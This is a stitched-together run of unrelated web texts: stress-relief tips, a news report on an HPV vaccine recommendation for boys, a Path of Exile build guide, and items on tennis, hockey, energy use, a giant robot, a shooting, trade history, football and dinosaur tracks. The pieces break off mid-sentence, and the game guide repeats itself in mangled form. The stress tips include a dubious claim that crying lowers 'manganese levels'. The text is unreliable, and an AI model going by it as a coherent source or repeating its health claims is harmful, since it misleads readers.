According to the National Sleep Foundation, you should average 7-9 hours of sleep per night. But the downside with stress is that it often interrupts your sleep cycle.
But you can remedy this through an increase in physical activity and by creating sleeping environment that encourages your body to fall asleep and limits reminders of your stress.
Furthermore, avoid caffeine prior to your scheduled sleep, along with alcohol if it leads to disturbed nights of sleep. Prevent yourself from doing any mentally demanding work several hours before going to bed so your brain has time to reach a state of calmness. Reading books, and taking a warm bath may also help.
Aim to go to bed at roughly the same time each day so that your mind and body get used to a predictable bedtime routine.
5. Let the tears flow when ever you notice them trying to come out.
Crying has many benefits, such as relieving stress, lowering blood pressure, removing toxins, and lowering manganese levels which are all contributors to stress.
6. Try relaxation techniques.
There are many relaxation techniques that lead to a reduction in stress, such as mediation, exercising, decompressing, etc.
WebMD offers 10 blissing relaxation techniques.
7. Eliminate or minimize the consumption of alcohol, tobacco, and/or caffeine.
Caffeine and nicotine are stimulants and therefore will increase your level of stress rather than reduce it for many people.
Additionally, alcohol is a depressant when taken in large quantities, but acts as a form of stimulant in smaller quantities.
Therefore using tobacco, alcohol, or caffeine to reduce stress isn’t helpful. Alternatives that work instead includes green tea, water, or natural juices.
8. Attempt to identify causes of your stress.
Just like talking with your peers, keeping a stress diary can help you pinpoint the causes of your stress which can then help you find ways to avoid the causes. In some cases, you may even be able to gain a different perspective on your situation.
Jot down the date, time, and place of each incidences of stressful episodes. Note who you were with, what you were doing, and how your felt psychologically and physically during a given stressful event. Then give the stressful episode a rating from 1-10 (10 being the most stressful, 1 being the least stressful).
Your stress diary should help you to understand what triggers your stress and effective you become over time in handling your stressful situations as time passes. Documentation further allows you to potentially avoid stressful situations and develop better coping mechanisms.
9. Improve on your time management skills.
Your time is very limited and sometimes we feel overwhelmed when so many different tasks and favors are vying for our attention. Learn to prioritize on your tasks. Determine which tasks will help you in your current situation and accept that you can’t do everything at once.
10. If you become ill, rest up.
Sometimes no matter what you do, you may end up ill from many different factors including from stress. When that occurs, don’t try to push through it. Learn that resting will enable the body to recover faster and get you back to enjoying what you like the most.
Stress is never pleasant, but when you become better at recognizing causes of your stress early on you can take the steps necessary to minimize the ill-effects it may have on your body. Unchecked stress is harmful in many situations. So always be ready to combat it.
Hopefully you found this article helpful. Share with your friends and family and let’s try to limit the ill-effects of stress that many of us endure – pyschologically and/or physically.
AdvertisementsBut for the public health experts gathered in Atlanta, the vaccine’s remarkable effects were irresistible.
“This is cancer, for Pete’s sake,” said Dr. William Schaffner, chairman of the department of preventive medicine at Vanderbilt University School of Medicine and a nonvoting member of the committee. “A vaccine against cancer was the dream of our youth.”
HPV infection is the most common sexually transmitted disease — between 75 percent and 80 percent of females and males in the United States will be infected at some point in their lives. Most will overcome the infection with no ill effects. But in some people, infections lead to cellular changes that cause warts or cancer, including cervical, vaginal and vulvar cancers in women and anal cancers in men and women. A growing body of evidence suggests that HPV also causes throat cancers in men and women as a result of oral sex.
HPV infections cause about 15,000 cancers in women and 7,000 cancers in men each year. And while cervical cancer rates have plunged over the past four decades because of widespread screening, anal cancer rates in men and women have been increasing. Head and neck cancers have also been increasing, with the share associated with HPV infection increasing rapidly — perhaps because oral sex has increased in popularity.
Parents of boys face some uncomfortable realities when choosing whether to have their child vaccinated. The burden of disease in males results mostly from oral or anal sex, but vaccinating boys will also benefit female partners since cervical cancer in women results mostly from vaginal sex with infected males.
Vaccinating the nation’s 11- and 12-year-old boys will cost almost $140 million annually, but the one-time catch-up among males 13 to 21 will cost hundreds of millions more. The government generally pays for about half of all vaccinations.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
The committee has become increasingly concerned about the cost effectiveness of vaccines, since the newest vaccines tend to be very expensive while protecting against diseases that affect fewer people. Vaccinating boys is cost effective when vaccination rates in girls are relatively low, which they are now. Fewer than half of girls between the ages of 13 and 17 have received at least one dose of the HPV vaccine, and fewer than a third have received all three doses.
Only about 1 percent of boys have received the HPV vaccine, even though the vaccine advisory committee has said that boys could be vaccinated against the disease if they or their parents wished.
Advertisement Continue reading the main story
Vaccinating homosexual boys would be far more cost effective than vaccinating all boys, since the burden of disease is far higher in homosexuals. “But it’s not necessarily effective or perhaps even appropriate to be making those determinations at the 11- to 12-year-old age,” said Kristen R. Ehresmann of the Minnesota Department of Health and a committee member.
Dr. S. Michael Marcy, a clinical professor of pediatrics at the University of Southern California and a committee member, said that the money needed to vaccinate 11- and 12-year-old boys would pay for only a few hours of the war in Afghanistan while potentially saving thousands of lives in the United States.
“I’m constantly being told we don’t have the money. Well, we do have the money,” Dr. Marcy said. “We need a new set of priorities, and we if we don’t set those priorities, who will?”
The vaccine loses effectiveness if it is given after the onset of sexual activity. More than one in five boys and girls have had vaginal sex by the age of 15, surveys show. But there are many strains of HPV, and Gardasil — the HPV vaccine manufactured by Merck — protects against four of those strains. Older boys and young men may receive the vaccine even after becoming sexually active in hopes that it might protect them against an HPV strain they have yet to encounter.
Separately, the advisory committee voted to recommend routine vaccination of diabetics under age 60 against hepatitis B infections, which commonly occur in older diabetics in long-term care facilities where blood sugar levels are checked using unsanitary methods. Diabetics 60 and older may get vaccinated as well, but the panel recommended vaccines only for those under 60 because that is when immune systems respond best to vaccination.
For HPV, the committee voted 8 to 5, with one abstention, to approve a recommendation that males 13 to 21 be vaccinated, with those voting against the recommendation hoping to make the upper age limit 26. Vaccinating men ages 22 to 26 is expensive and is likely to provide relatively few health benefits.
“The bottom line is that not all kids start having sex when they’re 13. Mine didn’t, I promise you,” Dr. Sandra Adamson Fryhofer, a clinical associate professor of medicine at Emory University School of Medicine and a committee member, said to laughter from the audience.
Not only are the committee’s recommendations routinely used by private insurers to determine which vaccines to pay for, but the health reform legislation of 2010 requires insurers that participate in health exchanges to offer vaccines that are routinely recommended by the committee.Updates UPD 18.07 : Dropped flash freeze wheel not worth it on merciless.
UPD 19.07 : Running Artic Armour from now. The only way to go for 2h melee.
UPD 23.07 : Updated the tree. Heartseeker cluster is really bad if you are not passing by.
Better to focus on specific crit nodes(mace, sword etc).
UPD 25.07 : Another late game pathing update. Picked up endurance charge near duelist.
I think it's better than 9% life.
Added FAQ section! My gear is incomplete so I don't want to rush video
with easy maps and low DPS. But you can make me if I see requests in the comments.
UPD 26.07 : FAQ update.
UPD 03.08 : Found golden proj speed value: 38%.
Mechanics
Frost blades is а "Riddle". At first look it got only one unique bonus: +14 weapon range.
But it has another hidden one: homing projectiles pretty restricted in direction though. So obviously you want to increase aoe, 3 proj is not enough.
And this is when fork is coming on stage. This gem is very situational because of the way projectiles spread. But in the FB case they are homing in the fixed degree area. Now you think: "Great I need only fork to make it work!"
No. You are wrong. Cause projectiles are low range like ethereal knives. And you will need more projectile speed to make them find another target!
So why to use this skill?
+Animation and sound are great, also freezing and shattering packs!
+Pretty good AoE with smart positioning and enough projectile speed.
+Can be used like hit and run to kite mobs
-Without fork skill is useless, don't even try to level without it.
-Not a single target option
Which gems to use?
After linking fork the main rule to follow: don't link less damage supports like chain, LMP, GMP they are complete garbage. You need more damage for both projectiles and melee attack. So I recommend to take a look at gems like this: There is a great synergy between them and hatred aura if you can afford it.
Special note about multistrike:
This support is great! You get rid of stupid melee targeting system. You never feel slow or clunky. But from my 100+ hours experience I can tell it's the best choice when you are melting through packs not when you struggle and have only 4L desperately seeking for more damage supports. So my opinion: you need at least 5L to use it. Also sometimes you need to target particular mob in pack like necro or to aim forking projectiles properly. With MS you can't do it.
Hypotermia is another gem of choice for FB for obvious reasons. But ask yourself how often you will need this boost and how able you are to chill stronger targets like magic packs? I recommend to test this one. Another great support is phys projectile damage. You will get this bonus 100% of the time on the first hit with no downsides. That's why I recommend it over hypotermia. Or you can get both if you are lucky.
Passives and classes
So we talked about gems and you think: "Haha get gud you forget projectile speed you are screwed". Nope. This is not EK pre 2.0 and I'm not Scrublord to waste 1 gem slot.
seriously?...
That's why I get projectile speed from the tree. You ever wonder why flash freeze node exist? Today you find out. So about Projectile speed. You want as much as possible and trust me it still will be not enough you will be addicted to this shit like I am you will leave your work and your family to get more and shot mobs offscreen laughing like crazy.
To other key stats: melee phys damage is useless, but phys damage with %weapon type name% is the King! It boosts both melee and projectile damage.
And the most important part! You need crit, mostly crit chance. Like... Badly, same thing like with projectile speed. Pre 2.0 patch I would say 2h FB is not possible because of this.
HAHAHA NICE JOKE LOOK AT THIS AND LAUGH:
2H Crit build is a real thing now. But it is always your choice.
The thing about crit it's not only about dps. By linking fork you are dealing with AoE lack. But trust me it's not enough. What you gonna do with 30 little beetles? Thats why you need herald of ice. It's the key herald and I can say absolutely for sure: you can't play FB without it! As you know crit is required to get bonus AoE damage. Mystery solved. Without this I would probably think about going RT or other tricky stuff. But no it's the only way to go here.
Also pick up good stuff like frenzy charges. Remember what I wrote about support gems? So why you still don't want to get +more all damage? Huh?
Here we go. So classes. Which one you will pick up? Let's conclude, you need:
1) Projectile speed
2) Crit chance
3) Phys damage with %weapon name%
Marauder? No you will struggle with accuracy.
Duelist. GOOD
Scion. GOOD
Ranger. GOOD
Shadow. GOOD
I recommend to choose from these 4. Which one doesn't matter at all. Except... 1 little thing. If you are going OP dagger oneshot everything with mirrored weapon go shadow or ranger. Scion and duelist probably will be better for 2H build with more life nodes and some 2h based one.
---------------------------------------------------------------------------------------------------------------
tree https://www.pathofexile.com/passive-skill-tree/AAAAAwAAAdwFLQVmBiAS4RQgFHUaPiPTI_YpLi5TNZI5DjrhQzFHfkrITP9Nkk3jTipQR1O7VP5VqVb6Vw1YdVoaW69fP2VNagFuqm8nbztyqXSgdO12rHfXd-N4DXh6eWh7w3y4fXWC5ITZhO-FUodqiq-NfY1-j2CQEZJ9lcyXtJhvmmqi6qOKplepJ6luqZStjbXyu-O9Nr3mvqe-vL_VwBrBBMMzxKLNmM9-02_TftZY2L3ZYdrB3CPlz-oY6mLrCe0_7g7vDu968azyRfcy-WP-Cv6P_ro=
links
FAQ " How many links do I need to make Frost Blades work?
Only 2 to start. With 4 you can easily begin maps no problemo.
I will even say that when you got 5L better to put you single target there and stick with 4L frost blades.
" Can I use Frost Blades as single target skill?
No.
" What single target to use?
Frenzy, Puncture, Double strike list goes on. Molten Strike with PB is probably top DPS.
" What stats I need need on gear except mentioned crit?
You need chaos resist and as much life as possible. I don't recommend to focus on armour too much.
There is no way you come close to shield build amounts.
Better to pick straight phys reduction from endurance charges + AA first, than max out armour.
Also Weapon elemental increase is pretty op on rings and amulet.
" o4all
Are you 100% sure Melee Physical Damage doesn't apply to "whole" of Frost Blade?
Yes, 100% sure everything with melee tag apply only to melee part of attack. Phys damage with %weapon type% is related to source of damage. So no melee tag=apply to everything. This mechanic is not new. Lightning strike share it too.
" o4all Also, heard somewhere that Fork, does not have auto-target, only Chain can auto-target because of Chain's default auto-target.
CHAIN vs FORK is a very hot topic among FB users. I recommend you to decide for yourself which one is better.
My opinion: FB is not a range skill. It has very descent melee base attack. Chain heavily cutting it.
I think the main point is not the average DPS. It is the DPS when you need it!
1) With chain you can't reliably focus single target(rare, vaal totem).
This is also the reason why I don't like multistrike with FB.
2) Fork deal more DPS to big packs.
It's just the math.
In my opinion chain+multistrike is the worst possible combo for lazy people
who want to hold one button. Only 2 to start. With 4 you can easily begin maps no problemo.I will even say that when you got 5L better to put you single target there and stick with 4L frost blades.No.Frenzy, Puncture, Double strike list goes on. Molten Strike with PB is probably top DPS.You need chaos resist and as much life as possible. I don't recommend to focus on armour too much.There is no way you come close to shield build amounts.Better to pick straight phys reduction from endurance charges + AA first, than max out armour.Also Weapon elemental increase is pretty op on rings and amulet.Yes, 100% sure everything with melee tag apply only to melee part of attack. Phys damage with %weapon type% is related to source of damage. So no melee tag=apply to everything. This mechanic is not new. Lightning strike share it too.vsis a very hot topic among FB users. I recommend you to decide for yourself which one is better.My opinion: FB is not a range skill. It has very descent melee base attack. Chain heavily cutting it.I think the main point is not the average DPS.1) With chain you can't reliably focus single target(rare, vaal totem).This is also the reason why I don't like multistrike with FB.2) Fork deal more DPS to big packs.It's just the math.In my opinion chain+multistrike is the worst possible combo for lazy peoplewho want to hold one button. Frost blades is а "Riddle". At first look it got only one unique bonus: +14 weapon range.But it has another hidden one: homing projectiles pretty restricted in direction though. So obviously you want to increase aoe, 3 proj is not enough.And this is when fork is coming on stage. This gem is very situational because of the way projectiles spread. But in the FB case they are homing in the fixed degree area. Now you think: "Great I need only fork to make it work!"No. You are wrong. Cause projectiles arelike ethereal knives. And you will need more projectile speed to make them find another target!+Animation and sound are great, also freezing and shattering packs!+Pretty good AoE with smart positioning and enough projectile speed.+Can be used like hit and run to kite mobs-Without fork skill is useless, don't even try to level without it.-Not a single target optionAfter linking fork the main rule to follow: don't link less damage supports like chain, LMP, GMP they are complete garbage. You need more damage forprojectiles and melee attack. So I recommend to take a look at gems like this:There is a great synergy between them and hatred aura if you can afford it.This support is great! You get rid of stupid melee targeting system. You never feel slow or clunky. But from my 100+ hours experience I can tell it's the best choice when you are melting through packs not when you struggle and have only 4L desperately seeking for more damage supports. So my opinion: you need at least 5L to use it. Also sometimes you need to target particular mob in pack like necro or to aim forking projectiles properly. With MS you can't do it.Hypotermia is another gem of choice for FB for obvious reasons. But ask yourself how often you will need this boost and how able you are to chill stronger targets like magic packs? I recommend to test this one. Another great support is phys projectile damage. You will get this bonus 100% of the time on the first hit with no downsides. That's why I recommend it over hypotermia. Or you can get both if you are lucky.So we talked about gems and you think: "Haha get gud you forget projectile speed you are screwed". Nope. This is not EK pre 2.0 and I'm not Scrublord to waste 1 gem slot.That's why I get projectile speed from the tree. You ever wonder why flash freeze node exist? Today you find out. So about Projectile speed. You want as much as possible and trust me it still will be not enough you will be addicted to this shit like I am you will leave your work and your family to get more and shot mobs offscreen laughing like crazy.To other key stats:is useless, but phys damage with %weapon type name% is the King! It boosts both melee and projectile damage.And the most important part! You need crit, mostly crit |
Although Federer’s back trouble has caused concerns that he might pull out of the final, it was noticeable how he played it down in his on-court apology on Sunday, saying that he was not “match-fit”. He opted not to face the wider media, speaking only in a carefully controlled environment to the ATP’s own camera crew. There, he referred to a “back spasm, whatever it might be”, and added: “It’s just not a fun thing to have during the day, but I’m positive and I’m hopeful that it’s going to go away very soon.”
Knowing the importance that Federer attaches to the Davis Cup – the one big title he lacks – he will take every step necessary to put himself in the best shape for the matches on Friday in front of 27,000 in Lille’s Stade Pierre Mauroy. It will be the biggest crowd he has played to, and potentially the most partisan. It could be one of the greatest occasions of a legendary career.The career trajectory for George Gwozdecky is, shall we say, a little peculiar.
Gwozdecky coached the Miami (OH) Redhawks from 1989-94 before taking over the University of Denver Pioneers from 1994-2013. He won two national championships with the latter, becoming the only person in NCAA history to win titles as a player (Wisconsin, 1977), as an assistant coach (Michigan State, 1986) and as a head coach.
He was fired after 19 seasons, and turned down a chance to lead the NCAA program at Alabama-Huntsville. Speculation was that he would sit out 2013-14 and wait for another NCAA gig; and then he was hired by Jon Cooper to join his bench with the Tampa Bay Lightning, running the team’s forwards and power play.
Scroll to continue with content Ad
[Yahoo Sports Fantasy Football: Sign up and join a league today!]
After two years with Tampa, and a trip to the Stanley Cup Final last season, Gwozdecky resigned from the Lightning. "I have fulfilled my obligation with the Tampa Bay Lightning and I am going to take some time away to consider my next career step,” he said, rather officiously.
Speculation, again, was that he was going back to the NCAA ranks. Instead, Gwozdecky made the oddest of career moves: From the NHL bench to high school head coach, taking a job with Valor Christian outside of Denver.
What the what?
According to David Ramsey of The Gazette, Gwozdecky was in talks with Valor in support of former DU assistant coach Steve Miller’s candidacy for their head coaching job. Miller instead became director of hockey at Air Force. Gwozdecky decided to make himself a candidate for the job, called to see if the job was available and was hired at Valor.
From the Gazette:
Story continues
Gwozdecky laughs as he considers the reaction to his move to high school hockey. Yes, he says, many of his friends were stunned.
"You just don't think of me coaching anywhere other than college and pros," he says. "That was my comfort zone and my fit for 32 years. Certainly this is my new direction, if you will."
It’s hard to imagine this as anything but a rest stop on the way back to the NCAA. After all, Mike Eaves is already in the “FIRE ALL ASSISTANTS” phase of his life cycle at Wisconsin; say, didn’t Gwozdecky attend that school?
From the Gazette, here’s Gwozdecky on his Valor tenure:
“I thought DU was going to be my last career move. I have no idea. I don't have the same energy as I had 20 years ago, but through the experiences I have had I know more than I knew 20 years ago. I think I've got at least 10 more good years in front of me.”
College to the NHL to high school to …
MORE FROM YAHOO SPORTSHow We Use Energy: Then And Now
Manufacturing in the U.S. still uses the most energy. But its share has been decreasing. That's partly because we've moved from energy-intensive manufacturing to a more service-based economy. And also partly because of a slowing population growth and improving energy efficiency.
Notes Consumption in this graphic includes the energy that is needed to produce electricity. The 'Manufacturing, Etc.' category includes other sectors like construction and mining.
And while homes have become more energy efficient, they're on average about 30 percent larger. Which means overall, the energy use in homes is about the same. (Economists call this the rebound effect — some of the energy savings from more efficiency gets wiped out by more use.)
The rebound effect is also apparent in the transportation sector. Since 1961, the number of people driving cars and trucks has increased. People are also driving more. Regulations requiring cars and trucks to become more energy efficient are trying to curb fuel use. The U.S. Energy Information Administration says these regulations (and the high the price for gas and lower incomes due to the recession) may have slowed the rise in demand for fuel for transportation. Still, the growth continues.
Here's where that energy came from:
Notes Consumption in this graphic includes the energy that is needed to produce electricity. Some sources are used directly, or converted to a secondary source like electricity. Natural gas, for example, is used directly for home heating, and also converted to electricity in power plants.
In 1961, the largest portion of our energy (including the energy that used to generate electricity) came from crude oil. That's still true today. But the technological growth of renewable energy and the rise of electricity from nuclear power, means that crude oil's dominance is shrinking.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A Japanese electronics company has unveiled a $1million robot which weighs four tonnes, stands 13ft tall and can be controlled by iPhone.
Kuratas is fitted with a futuristic weapons system, including a gun capable of shooting 6,000 BB bullets a minute.
There is also a one-man cockpit if the pilot prefers to unleash his ammunition from a position inside the robot.
(Image: Getty)
Kuratas has around 30 hydraulic joints which the pilot moves using motion control, and according to the makers Suidobashi Heavy Industry, the weapons are fired when the operator smiles.
The machine was unveiled to the world at the Wonder Festival in the Tokyo suburb of Chiba.
Suidobashi even released a tongue-in-cheek video showing how to operate the robot, in which female pilot Anna warns against smiling too much whilst operating the Kuratas weaponry.
It has two humanoid arms and four wheeled legs, and twin six-barrelled gatling guns which fire BB-sized pellets at the rate of 6,000 rounds per minute.
But despite its fearsome appearance, the robot was allowed out onto the streets of Tokyo where it was seen being driven through the traffic powered by a diesel engine.
The device, which travels at just 7mph, can be set to move in a low or high position to enhance the pilot's field of view.
(Image: YouTube)
It also features a Lohas launcher - which fires bottles of water - and Iron Crow hands and "feet".
Anyone interested in buying the custom-made machine even has a choice of colours, including a rather misleading pink.
The robot can be piloted directly, or remotely by a user connected to a 3G device such as a laptop, tablet or smartphone.Gamesmith94134: The Mirage of the Financial Singularity
“Will alpha eventually go to zero for every imaginable investment strategy?”
Rationally, it is a possibility. I would agree with Curtis Carpenter that computer will squeeze out human intelligent and invent their own financial instruments (derivative based derivatives and computational risk swaps. Perhaps, we look back to the recent refinancing of the euro in 2014 that swaps are often used till equity market erupted in 2008. It means the irrational exuberance can be created after zero, that Exponential Finance may not be captured in a trading algorithm today as well.
Of course, since the interest rate is at the bottom, it would be alpha all the way. But, in history, regardless how the science advances, often we miss the market by miles like oil glut and gold rush; who can claim winner at all time? Not with American or Chinese. Even though we knew Chinese flush out 5 ton of gold to stand $1100, will the India buy them all or American turns idle from the glut till $900? Again, you may guess the outcomes of the collapse of the recent Chinese Stock market or the Russian Ruble fallen 40-80 a dollar? But it seems they are all well. Perhaps, the mirage of the Financial Singularity is right, it is just too rational, and human capital is not, especially, when sovereignty is on the contest.
May the Buddha bless you?A teenage boy was fatally shot in Gage Park Friday night, police said.(File Photo) View Full Caption Getty Images/ File Photo
CHICAGO — A teenage boy was fatally shot in Gage Park Friday night, police said.
At 7:22 p.m., a 17-year-old boy was walking on the sidewalk in the 5800 block of South Western Avenue. The teenager was approached by an unknown armed offender, who immediately started shooting, said Officer Jose Estrada, a Chicago police spokesman.
When police arrived at the scene they found the teen unresponsive with multiple gunshot wounds to his chest, arm, leg and buttocks. He was taken to Mount Sinai Hospital where he was later pronounced dead, Estrada said.
The boy was identified as Walter L. Wright of the 5300 block of South May Street, the Cook County Medical Examiner's Office said. He was pronounced dead at 8:09 p.m.
According to police, the victim was a documented gang member and believe the shooting was gang related.Vince Gerardis is moving from Westeros to Mars.
The “Game of Thrones” co-executive producer is teaming with Spike TV to develop the sci-fi series “Red Mars,” an adaptation of Kim Stanley Robinson’s Mars Trilogy novels.
Also read: Gary Oldman Will Produce ‘Deep Web’ Series for Spike TV
The trilogy, which has received Nebula and Hugo awards, explores the colonization and transformation of the red planet.
“This series shines a light onto many views of what it means to be human — and asks if can we sustain our humanity under incredible duress,” Spike TV’s executive vice president, original series Sharon Levy said. “We are thrilled to partner with such an accomplished producer as Vince Gerardis to tell this incredible and thought-provoking story.”
Also read: Spike TV, Pierce Brosnan to Take on the Crusades With New Event Series
Gerardis, who also served as executive producer on the ABC series “FlashForward,” added, “There are many homes for large canvas television these days. It inspires me that Sharon has offered her network as home for this and provided a canvas for me to bring the world created in these books to the screen.”
Robinson will consult on the series.
Also read: Ben Kingsley to Star in Spike TV’s ‘Tut’
Though traditionally known for reality fare such as “Bar Rescue,” Spike TV has been heavily pursuing scripted programming recently. The network will premiere “Tut,” its first scripted series in seven years, in 2015, and has optioned “The Crusaders” from Pierce Brosnan‘s company Irish DreamTime, Mark Sennet Entertainment, Michael Finch and writer David Franzoni.on •
In The (dis)United States of South America, I explained the recent news of Venezuela’s suspension from MERCOSUR and how strains within the common market were beginning to show. It is necessary to know the history of integration efforts in Latin America to understand the contemporary issues surrounding MERCOSUR and how the future may play out.
The title of my last post, The (dis)United States of South America, is an allusion to the pan-Americanism that was prominent among revolutionary leaders, such as Simon Bolivar, who believed that the liberated provinces should join together in a single political entity. The grand ambition of a united, independent federation in Hispanic South and Central America appear, on the face of it, similar to the experience in the United States just a few decades prior.
Institutional legacy of Spanish colonialism, geography, and strong personalities would ensure that a United States of South America or the Federal Republic of Central America would not be successful. However, pan-Americanism and dreams of a united territory continue to live on.
Latin American Free Trade Association
The period following World War II saw a surge in South American efforts change its economic status quo. This shift revolved around import substitution industrialization (ISI) policies. The goal of ISI was to develop domestic industries that could eventually produce products for global export through high, protectionist tariffs.
Unfortunately, the results were firms that were not globally competitive who nonetheless pressured their governments to maintain the high tariff levels to preserve their domestic monopoly. The Latin American Free Trade Association (LAFTA) was born during the height of ISI dominance in Latin America.
The LAFTA was the first post-WWII integration effort. The Montevideo Treaty created the LAFTA in 1960 between Argentina, Brazil, Mexico, Paraguay, Peru, and Uruguay, and by 1970 also included Bolivia, Colombia, Ecuador, and Venezuela. As Michael Gestrin and Alan Rugman argue,
“From the 1960s through to the late 1970s, regional trade groups in Latin America were not designed as an intermediate step towards freer overall trade (as the General Agreement on Tariffs and Trade intended) but were rather an extension of import substitution policies to the regional level.”
Several cracks in the Association emerged relatively early on, including a deceleration of trade and dissatisfaction with the gains from trade.
Tariffs between members were reduced, but high, protectionist tariffs for non-LAFTA countries remained in place. Furthermore, while intra-LAFTA trade increased rapidly from its starting point in 1960, nominally trade between these countries remained small relative to their respective economies. By the 1970s, increases in trade began to plateau.
While Article 32 of the Montevideo Treaty did allow for less developed members to reduce their tariffs at a slower pace, many of the poorer nations, such as Bolivia and Peru, did not believe that they were gaining as much as the larger, more advanced economies, such as Argentina and Brazil.
This perceived unfairness by the less developed countries directly led to the creation of the Andean Group in 1969 between Bolivia, Chile, Colombia, Ecuador, and Peru. The Andean Group sought to address what Diana Tussie described as: “The failure of inward oriented development strategies came under fire and so did the regional projects that had accompanied these.”
The Latin American Integration Association (LAIA) was born from the ashes of the LAFTA in 1980. The LAIA addressed two key of the issues of the LAFTA in particular: speed and scope.
The LAFTA’s framework for tariff reduction was 12 years and, other than the provision for less developed countries, was uniform across the association. The LAIA encourages tariff reduction between member states but does not mandate it. Furthermore, it provides a framework for individual member states to make trade liberalization agreements with other member states without providing the same benefits to all other member states.
The LAIA also has a narrower scope than the LAFTA. The LAIA does not provide a timetable to free trade between member states as the LAFTA did. This difference is a key reason why the LAIA still exists.
While it is accepted that the LAIA was successful in integrating members within subregions and to a lesser extent within the whole association, it would not be correct in describing the LAIA as a success. As Tussie notes “because its initial expectations had been so low, it did not give rise to much disappointment, passion or dispassion.”
Why it matters today
The goal of a closer knit, if not completely integrated, South America continued after the LAFTA and remains a policy objective today, as evidenced by Venezuela’s new name: the Bolivarian Republic of Venezuela.
The experience of the Latin American Free Trade Association and its successor, the Latin American Integration Association, directly affected contemporary regional economic integration efforts, such as the Common Market of the South (MERCOSUR) and the Andean Pact.
As I will discuss in the forthcoming articles on economic integration, the failure of the LAFTA would rise again in the form of the failed Free Trade Area of the Americas and the Trans-Pacific Partnership.
Follow on twitter @elhemisferioblog
Support the creation of new content by donating here
Share this: Facebook
Twitter
Google
Reddit
Email
Like this: Like Loading...
Categories: International affairs, South AmericaArsenal suffered a heavy defeat to Bayern Munich in the Champions League on Wednesday night
Sutton United boss Paul Doswell has no sympathy for Arsene Wenger following Arsenal's heavy defeat to Bayern Munich in the Champions League.
The Gunners are once again staring at a last-16 exit from the competition after suffering a spectacular second-half collapse at the Allianz Arena on Wednesday night.
Wenger is yet to confirm if he will extend his contract at the Emirates once his current deal expires at the end of the season and a growing number of the club's supporters have called for the Frenchman to step down from his role in the wake of the defeat in Germany.
The Gunners conceded four second-half goals to go down 5-1 at the Allianz Arena
Arsenal next face non-league Sutton in the fifth round of the FA Cup on Monday night and Doswell does not feel sorry for his opposite number ahead of the match at Gander Green Lane.
"Do I feel sympathy for him? No," said Doswell. "He is well schooled, and he has been in the job for 20 years.
"Jose Mourinho, Pep Guardiola, Wenger... I don't feel sorry for them at all because they are in the mad world that is football."
Sutton manager Paul Doswell says he feels no sympathy for Arsene Wenger
Doswell claims that Bundesliga champions Bayern, along with Spanish giants Real Madrid and Barcelona, are a cut above anything the Premier League has to offer.
Sutton United's Paul Doswell has an incredible story – 2 promotions in 9 years, and now the 4th round of the Cup against Leeds. Sutton United's Paul Doswell has an incredible story – 2 promotions in 9 years, and now the 4th round of the Cup against Leeds.
"I thought for the first 47 minutes they [Arsenal] looked like, if not the better team, certainly on a par with Bayern," Doswell said.
"Then Bayern Munich went into Bayern Munich mode and in fairness I think they would have beaten any Premier League team.
"It is not a disgrace. I know the result is going to sound poor and there is going to be an overreaction but when Bayern, Barcelona and Real Madrid fancy it, you are in real trouble.
Arsenal travel to Gander Green Lane in the FA Cup on Monday night
"In sport it is about levels and none of the top six English clubs can get near Bayern, Barcelona or Real Madrid. That is a fact."
However, Doswell believes Wenger has been unfairly criticised given his consistent record in the Premier League.
"Wenger is getting criticised - and I think wrongly - that he doesn't have enough leaders in the dressing room, but he has still managed to qualify for the Champions League for the last 15 years," he said.
Former Arsenal player Alan Smith thinks Arsene Wenger needs to step down soon to be remembered in a positive light. Former Arsenal player Alan Smith thinks Arsene Wenger needs to step down soon to be remembered in a positive light.
"I would rather be in Arsenal's position than Manchester United's, who are playing in the Europa League.
"It is an open forum to criticise Arsenal and Arsene Wenger, but from our perspective we are just over the moon that they are coming here."Seventy million years ago, a herd of dinosaurs gathered by a pool of water in Alaska to drink and, possibly, to rest and wallow. Some were babies no larger than a Mini Cooper, some were adolescents, and the rest were school bus-size adults.
The Earth has since undergone enormous upheavals, including an asteroid strike believed to have wiped out the dinosaurs. Their tracks were buried, preserved and later exposed as the Alaska Range mountains grew. There, the footprints lay undisturbed until a Dallas scientist and two of his colleagues discovered them in 2007.
“We were so giddy and excited over this that we were laughing and really speechless,” said Anthony Fiorillo, a paleontologist and curator of earth sciences at the Perot Museum of Nature and Science. “It was incredible.”
Fiorillo found the tracks along with his colleagues Stephen Hasiotis of the University of Kansas’ Department of Geology and Yoshitsugu Kobayashi of the Hokkaido University Museum in Japan.
They were conducting a survey sponsored by the U.S. National Park Service.
They describe the discovery in a paper published in the August issue of Geology. An early version of the paper appeared on Geology’s website June 30.
The discovery offers fresh evidence that dinosaurs not only survived but thrived in polar conditions. Scientists know that dinosaurs also lived at the other end of the Earth, in Antarctica.
“There is a stereotype of dinosaurs living in tropical or subtropical swamps, and this helps break that stereotype,” says Fiorillo.
Hadrosaurs, more commonly known as duck-billed dinosaurs, left the imprints.
Fiorillo believes they were year-round residents of the Arctic, surviving months of darkness and cold temperatures.
The climate 70 million years ago was warmer than today — ranging from around 36 degrees in Alaska during the coldest months to 54 during the warmest months. So the revelations could help scientists understand how animals might adapt to global warming.
“I would say the lesson out of our work is that it’s not all gloom and doom. It might just be a different world,” Fiorillo says.
The tracks are some of the best-preserved dinosaur footprints ever found. They cover a football-field-size area on a steep slope of the Alaska Range mountains in Denali National Park.
The prints are so clear that scientists were able to make out the texture of the dinosaurs’ skin. More typically, paleontologists find what are known as undertracks — indentations left over after top layers of soil have eroded. But “finding skin impressions tells us this is the actual surface the dinosaurs walked on,” Fiorillo says.
The detailed prints enabled the scientists to determine the sizes and ages of the dinosaurs that left them. This confirmed that hadrosaurs lived in multigenerational groups that may have resembled the sophisticated family and social structures of elephants.
Hadrosaurs, often called the “cows of the Cretaceous,” were the most common dinosaurs of their time. They lived in the Americas, Europe and Asia.
“Hardosaurs are probably the most underappreciated of all dinosaurs,” wrote Anthony Martin of Emory University by email. He was studying trace dinosaur fossils in central Montana, at a field site with no cellphone reception. “They also may have had the most complex behaviors known in dinosaurs, including communicating by low-frequency sound, herding, and nurturing their young.”
